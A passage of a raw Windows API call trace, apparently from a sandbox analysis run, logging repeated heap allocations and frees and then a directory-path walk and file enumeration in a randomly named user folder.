hHeap=0x5d0000) returned 1 [0069.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0069.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x32543a8 [0069.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0069.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.906] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.906] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.906] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.906] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.906] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.906] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.906] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.906] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.906] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.906] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.906] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.906] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.906] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.906] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.906] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.906] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.906] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.906] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.906] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.906] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.906] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.906] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0069.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0069.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0069.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0069.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.913] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\1lVVKbf-aOgvA-CAW_mM\\") returned="1lVVKbf-aOgvA-CAW_mM\\" [0069.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0069.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.913] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\") returned="oD8Tz2pMYKkYRQ-RJT2T\\" [0069.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31757d8 [0069.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.913] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\") returned="Pmee\\" [0069.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175a30 [0069.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31757d8 | out: hHeap=0x5d0000) returned 1 [0069.913] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\") returned="3ymkgwpUkCk\\" [0069.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d868 [0069.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175a30 | out: hHeap=0x5d0000) returned 1 [0069.913] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0069.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187228 [0069.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d868 | out: hHeap=0x5d0000) returned 1 [0069.913] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eca0 [0069.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187228 | out: hHeap=0x5d0000) returned 1 [0069.913] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eca0 | out: hHeap=0x5d0000) returned 1 [0069.913] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.913] PathFindFileNameW (pszPath="") returned="" [0069.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.913] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\1lVVKbf-aOgvA-CAW_mM\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2af495d0, ftCreationTime.dwHighDateTime=0x1d4cb88, ftLastAccessTime.dwLowDateTime=0xad979ae0, ftLastAccessTime.dwHighDateTime=0x1d4d4da, ftLastWriteTime.dwLowDateTime=0xad979ae0, 